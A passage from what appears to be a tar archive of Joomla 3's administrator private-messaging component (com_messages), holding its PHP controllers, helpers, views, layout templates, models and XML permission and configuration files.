	public function getModel($name = 'Message', $prefix = 'MessagesModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_messages/controllers/config.php000060400000003741152455305260013545 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Messages Component Message Model
 *
 * @since  1.6
 */
class MessagesControllerConfig extends JControllerLegacy
{
	/**
	 * Method to save a record.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function save()
	{
		// Check for request forgeries.
		$this->checkToken();

		$app   = JFactory::getApplication();
		$model = $this->getModel('Config', 'MessagesModel');
		$data  = $this->input->post->get('jform', array(), 'array');

		// Validate the posted data.
		$form = $model->getForm();

		if (!$form)
		{
			JError::raiseError(500, $model->getError());

			return false;
		}

		$data = $model->validate($form, $data);

		// Check for validation errors.
		if ($data === false)
		{
			// Get the validation messages.
			$errors = $model->getErrors();

			// Push up to three validation messages out to the user.
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
			{
				if ($errors[$i] instanceof Exception)
				{
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				}
				else
				{
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}

			// Redirect back to the main list.
			$this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false));

			return false;
		}

		// Attempt to save the data.
		if (!$model->save($data))
		{
			// Redirect back to the main list.
			$this->setMessage(JText::sprintf('JERROR_SAVE_FAILED', $model->getError()), 'warning');
			$this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false));

			return false;
		}

		// Redirect to the list screen.
		$this->setMessage(JText::_('COM_MESSAGES_CONFIG_SAVED'));
		$this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false));

		return true;
	}
}
com_messages/helpers/html/messages.php000060400000005222152455305260014143 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * JHtml administrator messages class.
 *
 * @since  1.6
 */
class JHtmlMessages
{
	/**
	 * Get the HTML code of the state switcher
	 *
	 * @param   int      $value      The state value
	 * @param   int      $i          Row number
	 * @param   boolean  $canChange  Can the user change the state?
	 *
	 * @return  string
	 *
	 * @since   1.6
	 *
	 * @deprecated  4.0  Use JHtmlMessages::status() instead
	 */
	public static function state($value = 0, $i = 0, $canChange = false)
	{
		// Log deprecated message
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHtmlMessages::status() instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Note: $i is required but has to be an optional argument in the function call due to argument order
		if (null === $i)
		{
			throw new InvalidArgumentException('$i is a required argument in JHtmlMessages::state');
		}

		// Note: $canChange is required but has to be an optional argument in the function call due to argument order
		if (null === $canChange)
		{
			throw new InvalidArgumentException('$canChange is a required argument in JHtmlMessages::state');
		}

		return static::status($i, $value, $canChange);
	}

	/**
	 * Get the HTML code of the state switcher
	 *
	 * @param   int      $i          Row number
	 * @param   int      $value      The state value
	 * @param   boolean  $canChange  Can the user change the state?
	 *
	 * @return  string
	 *
	 * @since   3.4
	 */
	public static function status($i, $value = 0, $canChange = false)
	{
		// Array of image, task, title, action.
		$states = array(
			-2 => array('trash', 'messages.unpublish', 'JTRASHED', 'COM_MESSAGES_MARK_AS_UNREAD'),
			1  => array('publish', 'messages.unpublish', 'COM_MESSAGES_OPTION_READ', 'COM_MESSAGES_MARK_AS_UNREAD'),
			0  => array('unpublish', 'messages.publish', 'COM_MESSAGES_OPTION_UNREAD', 'COM_MESSAGES_MARK_AS_READ'),
		);

		$state = ArrayHelper::getValue($states, (int) $value, $states[0]);
		$icon  = $state[0];

		if ($canChange)
		{
			$html = '<a href="#" onclick="return listItemTask(\'cb' . $i . '\',\'' . $state[1] . '\')" class="btn btn-micro hasTooltip'
				. ($value == 1 ? ' active' : '') . '" title="' . JHtml::_('tooltipText', $state[3])
				. '"><span class="icon-' . $icon . '" aria-hidden="true"></span></a>';
		}

		return $html;
	}
}
com_messages/helpers/messages.php000060400000003554152455305260013205 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Messages helper class.
 *
 * @since  1.6
 */
class MessagesHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_MESSAGES_ADD'),
			'index.php?option=com_messages&view=message&layout=edit',
			$vName == 'message'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_MESSAGES_READ'),
			'index.php?option=com_messages',
			$vName == 'messages'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions()
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		return JHelperContent::getActions('com_messages');
	}

	/**
	 * Get a list of filter options for the state of a module.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @since   1.6
	 */
	public static function getStateOptions()
	{
		// Build the filter options.
		$options   = array();
		$options[] = JHtml::_('select.option', '1', JText::_('COM_MESSAGES_OPTION_READ'));
		$options[] = JHtml::_('select.option', '0', JText::_('COM_MESSAGES_OPTION_UNREAD'));
		$options[] = JHtml::_('select.option', '-2', JText::_('JTRASHED'));

		return $options;
	}
}
com_messages/views/messages/tmpl/default.php000060400000006723152455305260015301 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

JFactory::getDocument()->addStyleDeclaration(
	'
	@media (min-width: 768px) {
		div.modal {
			left: none;
			width: 500px;
			margin-left: -250px;
		}
	}
	'
);
?>
<form action="<?php echo JRoute::_('index.php?option=com_messages&view=messages'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
		<?php else : ?>
		<div id="j-main-container">
	<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"></div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped">
				<thead>
					<tr>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th class="title nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_MESSAGES_HEADING_SUBJECT', 'a.subject', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'COM_MESSAGES_HEADING_READ', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th width="15%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_MESSAGES_HEADING_FROM', 'a.user_id_from', $listDirn, $listOrder); ?>
						</th>
						<th width="20%" class="nowrap hidden-tablet hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JDATE', 'a.date_time', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="5">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) :
					$canChange = $user->authorise('core.edit.state', 'com_messages');
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->message_id); ?>
						</td>
						<td>
							<a href="<?php echo JRoute::_('index.php?option=com_messages&view=message&message_id=' . (int) $item->message_id); ?>">
								<?php echo $this->escape($item->subject); ?></a>
						</td>
						<td class="center">
							<?php echo JHtml::_('messages.status', $i, $item->state, $canChange); ?>
						</td>
						<td>
							<?php echo $item->user_from; ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo JHtml::_('date', $item->date_time, JText::_('DATE_FORMAT_LC2')); ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>
		<div>
			<input type="hidden" name="task" value="" />
			<input type="hidden" name="boxchecked" value="0" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
	</div>
</form>
com_messages/views/messages/view.html.php000060400000005607152455305260014616 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of messages.
 *
 * @since  1.6
 */
class MessagesViewMessages extends JViewLegacy
{
	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$state = $this->get('State');
		$canDo = JHelperContent::getActions('com_messages');
		JToolbarHelper::title(JText::_('COM_MESSAGES_MANAGER_MESSAGES'), 'envelope inbox');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('message.add');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::divider();
			JToolbarHelper::publish('messages.publish', 'COM_MESSAGES_TOOLBAR_MARK_AS_READ', true);
			JToolbarHelper::unpublish('messages.unpublish', 'COM_MESSAGES_TOOLBAR_MARK_AS_UNREAD', true);
		}

		JToolbarHelper::divider();
		$bar = JToolBar::getInstance('toolbar');
		$bar->appendButton(
			'Popup',
			'cog',
			'COM_MESSAGES_TOOLBAR_MY_SETTINGS',
			'index.php?option=com_messages&amp;view=config&amp;tmpl=component',
			500,
			250,
			0,
			0,
			'',
			'',
			'<button type="button" class="btn" data-dismiss="modal">'
			. JText::_('JCANCEL')
			. '</button>'
			. '<button type="button" class="btn btn-success" data-dismiss="modal"'
			. ' onclick="jQuery(\'#modal-cog iframe\').contents().find(\'#saveBtn\').click();">'
			. JText::_('JSAVE')
			. '</button>'
		);

		if ($state->get('filter.state') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::divider();
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'messages.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::divider();
			JToolbarHelper::trash('messages.trash');
		}

		if ($canDo->get('core.admin'))
		{
			JToolbarHelper::preferences('com_messages');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_MESSAGING_INBOX');
	}
}
com_messages/views/message/view.html.php000060400000004055152455305260014427 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Messages component
 *
 * @since  1.6
 */
class MessagesViewMessage extends JViewLegacy
{
	protected $form;

	protected $item;

	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		parent::display($tpl);
		$this->addToolbar();
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		if ($this->getLayout() == 'edit')
		{
			JFactory::getApplication()->input->set('hidemainmenu', true);
			JToolbarHelper::title(JText::_('COM_MESSAGES_WRITE_PRIVATE_MESSAGE'), 'envelope-opened new-privatemessage');
			JToolbarHelper::save('message.save', 'COM_MESSAGES_TOOLBAR_SEND');
			JToolbarHelper::cancel('message.cancel');
			JToolbarHelper::help('JHELP_COMPONENTS_MESSAGING_WRITE');
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_MESSAGES_VIEW_PRIVATE_MESSAGE'), 'envelope inbox');
			$sender = JUser::getInstance($this->item->user_id_from);

			if ($sender->authorise('core.admin') || $sender->authorise('core.manage', 'com_messages') && $sender->authorise('core.login.admin'))
			{
				JToolbarHelper::custom('message.reply', 'redo', null, 'COM_MESSAGES_TOOLBAR_REPLY', false);
			}

			JToolbarHelper::cancel('message.cancel');
			JToolbarHelper::help('JHELP_COMPONENTS_MESSAGING_READ');
		}
	}
}
com_messages/views/message/tmpl/default.php000060400000003152152455305260015107 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');
JHtml::_('formbehavior.chosen', 'select');
?>
<form action="<?php echo JRoute::_('index.php?option=com_messages'); ?>" method="post" name="adminForm" id="adminForm" class="form-horizontal">
	<fieldset>
		<div class="control-group">
			<div class="control-label">
				<?php echo JText::_('COM_MESSAGES_FIELD_USER_ID_FROM_LABEL'); ?>
			</div>
			<div class="controls">
				<?php echo $this->item->get('from_user_name'); ?>
			</div>
		</div>
		<div class="control-group">
			<div class="control-label">
				<?php echo JText::_('COM_MESSAGES_FIELD_DATE_TIME_LABEL'); ?>
			</div>
			<div class="controls">
				<?php echo JHtml::_('date', $this->item->date_time, JText::_('DATE_FORMAT_LC2')); ?>
			</div>
		</div>
		<div class="control-group">
			<div class="control-label">
				<?php echo JText::_('COM_MESSAGES_FIELD_SUBJECT_LABEL'); ?>
			</div>
			<div class="controls">
				<?php echo $this->item->subject; ?>
			</div>
		</div>
		<div class="control-group">
			<div class="control-label">
				<?php echo JText::_('COM_MESSAGES_FIELD_MESSAGE_LABEL'); ?>
			</div>
			<div class="controls">
				<?php echo $this->item->message; ?>
			</div>
		</div>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="reply_id" value="<?php echo $this->item->message_id; ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</fieldset>
</form>
com_messages/views/message/tmpl/edit.php000060400000003215152455305260014410 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');

JFactory::getDocument()->addScriptDeclaration("
		Joomla.submitbutton = function(task)
		{
			if (task == 'message.cancel' || document.formvalidator.isValid(document.getElementById('message-form')))
			{
				Joomla.submitform(task, document.getElementById('message-form'));
			}
		};
");
?>
<form action="<?php echo JRoute::_('index.php?option=com_messages'); ?>" method="post" name="adminForm" id="message-form" class="form-validate form-horizontal">
	<fieldset class="adminform">
		<div class="control-group">
			<div class="control-label">
				<?php echo $this->form->getLabel('user_id_to'); ?>
			</div>
			<div class="controls">
				<?php echo $this->form->getInput('user_id_to'); ?>
			</div>
		</div>
		<div class="control-group">
			<div class="control-label">
				<?php echo $this->form->getLabel('subject'); ?>
			</div>
			<div class="controls">
				<?php echo $this->form->getInput('subject'); ?>
			</div>
		</div>
		<div class="control-group">
			<div class="control-label">
				<?php echo $this->form->getLabel('message'); ?>
			</div>
			<div class="controls">
				<?php echo $this->form->getInput('message'); ?>
			</div>
		</div>
	</fieldset>
	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_messages/views/config/tmpl/default.php000060400000002603152455305260014730 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));

JFactory::getDocument()->addScriptDeclaration(
	"
		Joomla.submitbutton = function(task)
		{
			if (task == 'config.cancel' || document.formvalidator.isValid(document.getElementById('config-form')))
			{
				Joomla.submitform(task, document.getElementById('config-form'));
			}
		};
	"
);
?>
<div class="container-popup">
	<form action="<?php echo JRoute::_('index.php?option=com_messages&view=config'); ?>" method="post" name="adminForm" id="message-form" class="form-validate form-horizontal">
		<fieldset>
			<?php echo $this->form->renderField('lock'); ?>
			<?php echo $this->form->renderField('mail_on_new'); ?>
			<?php echo $this->form->renderField('auto_purge'); ?>
		</fieldset>
		<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitform('config.save', this.form);"></button>

		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_messages/views/config/view.html.php000060400000002110152455305260014236 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit messages user configuration.
 *
 * @since  1.6
 */
class MessagesViewConfig extends JViewLegacy
{
	protected $form;

	protected $item;

	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Bind the record to the form.
		$this->form->bind($this->item);

		parent::display($tpl);
	}
}
com_messages/access.xml000060400000001162152455305260011177 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_messages">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_messages/config.xml000060400000000546152455305260011210 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_messages"
			section="component" 
		/>
	</fieldset>
</config>
com_messages/models/fields/usermessages.php000060400000003240152455305260015163 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('user');

/**
 * Supports a modal select of users that have access to com_messages
 *
 * @since  1.6
 */
class JFormFieldUserMessages extends JFormFieldUser
{
	/**
	 * The form field type.
	 *
	 * @var		string
	 * @since   1.6
	 */
	public $type = 'UserMessages';

	/**
	 * Method to get the filtering groups (null means no filtering)
	 *
	 * @return  array|null	array of filtering groups or null.
	 *
	 * @since   1.6
	 */
	protected function getGroups()
	{
		// Compute usergroups
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('id')
			->from('#__usergroups');
		$db->setQuery($query);

		try
		{
			$groups = $db->loadColumn();
		}
		catch (RuntimeException $e)
		{
			JError::raiseNotice(500, $e->getMessage());

			return null;
		}

		foreach ($groups as $i => $group)
		{
			if (JAccess::checkGroup($group, 'core.admin'))
			{
				continue;
			}

			if (!JAccess::checkGroup($group, 'core.manage', 'com_messages'))
			{
				unset($groups[$i]);
				continue;
			}

			if (!JAccess::checkGroup($group, 'core.login.admin'))
			{
				unset($groups[$i]);
				continue;
			}
		}

		return array_values($groups);
	}

	/**
	 * Method to get the users to exclude from the list of users
	 *
	 * @return  array|null array of users to exclude or null to to not exclude them
	 *
	 * @since   1.6
	 */
	protected function getExcluded()
	{
		return array(JFactory::getUser()->id);
	}
}
com_messages/models/fields/messagestates.php000060400000001670152455305260015332 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('MessagesHelper', JPATH_ADMINISTRATOR . '/components/com_messages/helpers/messages.php');

JFormHelper::loadFieldClass('list');

/**
 * Message States field.
 *
 * @since  3.6.0
 */
class JFormFieldMessageStates extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   3.6.0
	 */
	protected $type = 'MessageStates';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.6.0
	 */
	protected function getOptions()
	{
		// Merge state options with any additional options in the XML definition.
		return array_merge(parent::getOptions(), MessagesHelper::getStateOptions());
	}
}
com_messages/models/config.php000060400000006555152455305260012470 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Message configuration model.
 *
 * @since  1.6
 */
class MessagesModelConfig extends JModelForm
{
	/**
	 * Method to auto-populate the model state.
	 *
	 * This method should only be called once per instantiation and is designed
	 * to be called on the first call to the getState() method unless the model
	 * configuration flag to ignore the request is set.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$user = JFactory::getUser();

		$this->setState('user.id', $user->get('id'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_messages');
		$this->setState('params', $params);
	}

	/**
	 * Method to get a single record.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function &getItem()
	{
		$item = new JObject;

		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('cfg_name, cfg_value')
			->from('#__messages_cfg')
			->where($db->quoteName('user_id') . ' = ' . (int) $this->getState('user.id'));

		$db->setQuery($query);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		foreach ($rows as $row)
		{
			$item->set($row->cfg_name, $row->cfg_value);
		}

		$this->preprocessData('com_messages.config', $item);

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm	 A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_messages.config', 'config', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$db = $this->getDbo();

		if ($userId = (int) $this->getState('user.id'))
		{
			$query = $db->getQuery(true)
				->delete($db->quoteName('#__messages_cfg'))
				->where($db->quoteName('user_id') . '=' . (int) $userId);
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}

			if (count($data))
			{
				$query = $db->getQuery(true)
					->insert($db->quoteName('#__messages_cfg'))
					->columns($db->quoteName(array('user_id', 'cfg_name', 'cfg_value')));

				foreach ($data as $k => $v)
				{
					$query->values($userId . ', ' . $db->quote($k) . ', ' . $db->quote($v));
				}

				$db->setQuery($query);

				try
				{
					$db->execute();
				}
				catch (RuntimeException $e)
				{
					$this->setError($e->getMessage());

					return false;
				}
			}

			return true;
		}
		else
		{
			$this->setError('COM_MESSAGES_ERR_INVALID_USER');

			return false;
		}
	}
}
com_messages/models/messages.php000060400000007403152455305260013023 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Messages Component Messages Model
 *
 * @since  1.6
 */
class MessagesModelMessages extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'message_id', 'a.id',
				'subject', 'a.subject',
				'state', 'a.state',
				'user_id_from', 'a.user_id_from',
				'user_id_to', 'a.user_id_to',
				'date_time', 'a.date_time',
				'priority', 'a.priority',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * This method should only be called once per instantiation and is designed
	 * to be called on the first call to the getState() method unless the model
	 * configuration flag to ignore the request is set.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.date_time', $direction = 'desc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));

		$this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'cmd'));

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string    A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.state');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$user = JFactory::getUser();

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*, ' .
					'u.name AS user_from'
			)
		);
		$query->from('#__messages AS a');

		// Join over the users for message owner.
		$query->join('INNER', '#__users AS u ON u.id = a.user_id_from')
			->where('a.user_id_to = ' . (int) $user->get('id'));

		// Filter by published state.
		$state = $this->getState('filter.state');

		if (is_numeric($state))
		{
			$query->where('a.state = ' . (int) $state);
		}
		elseif ($state !== '*')
		{
			$query->where('(a.state IN (0, 1))');
		}

		// Filter by search in subject or message.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
			$query->where('(a.subject LIKE ' . $search . ' OR a.message LIKE ' . $search . ')');
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.date_time')) . ' ' . $db->escape($this->getState('list.direction', 'DESC')));

		return $query;
	}
}
